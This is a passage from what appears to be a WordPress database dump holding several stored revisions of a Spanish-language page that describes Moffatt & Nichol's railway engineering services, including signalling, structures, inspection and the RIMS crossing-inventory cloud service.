conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\r\n\r\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\r\n\r\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>Características:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\r\n	<li>Usted controla quién tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision-6','','','2012-08-29 15:10:03','2012-08-29 15:10:03','',651,'http://moffattnichol.com/spanish/651-revision-6/',0,'revision','',0),(2657,1,'2012-09-03 09:56:11','2012-09-03 09:56:11','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=railroads width=588 height=320 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n &nbsp; \r\n<h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios económicos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios económicos y de mercado:\r\n<ul>\r\n	<li>Análisis macroeconómico y demanda de carga globales</li>\r\n	<li>Análisis de mercado específico del país y regional</li>\r\n	<li>Evaluaciones económicas de ventajas competitivas</li>\r\n	<li>Desviación de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n	<li>Evaluaciones y desarrollos estratégicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\r\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n	<li>Estudios de gestión y organización</li>\r\n	<li>Evaluación de alternativas de leasing</li>\r\n	<li>Análisis del impacto económico</li>\r\n	<li>Estimación de beneficio del sector privado</li>\r\n	<li>Estimación de beneficio del sector público</li>\r\n	<li>Evaluación de costo-beneficio</li>\r\n	<li>Análisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compañías navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">servicios de ingeniería</h1>\r\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\r\n\r\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspección y rehabilitación</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecánica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>Diagnóstico de señales y localización de averías</li>\r\n	<li>Diseño hidráulico</li>\r\n	<li>Problemas de mitigación medioambiental</li>\r\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\r\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestión de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">señalización</h1>\r\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehículos y trenes.\r\n\r\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>Separación del tráfico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>Señalización pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>Modelación de vías férreas-carretera</li>\r\n	<li>Análisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\r\n\r\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\r\n\r\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>Características:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\r\n	<li>Usted controla quién tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision-7','','','2012-09-03 09:56:11','2012-09-03 09:56:11','',651,'http://moffattnichol.com/spanish/651-revision-7/',0,'revision','',0),(2658,1,'2012-09-03 09:57:21','2012-09-03 09:57:21','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=railroads width=588 height=325 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n &nbsp; \r\n<h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios económicos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios económicos y de mercado:\r\n<ul>\r\n	<li>Análisis macroeconómico y demanda de carga globales</li>\r\n	<li>Análisis de mercado específico del país y regional</li>\r\n	<li>Evaluaciones económicas de ventajas competitivas</li>\r\n	<li>Desviación de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n	<li>Evaluaciones y desarrollos estratégicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\r\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n	<li>Estudios de gestión y organización</li>\r\n	<li>Evaluación de alternativas de leasing</li>\r\n	<li>Análisis del impacto económico</li>\r\n	<li>Estimación de beneficio del sector privado</li>\r\n	<li>Estimación de beneficio del sector público</li>\r\n	<li>Evaluación de costo-beneficio</li>\r\n	<li>Análisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compañías navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 